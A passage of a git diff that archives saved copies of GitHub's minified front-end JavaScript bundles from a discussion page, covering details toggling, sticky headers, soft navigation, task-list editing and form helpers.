0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const 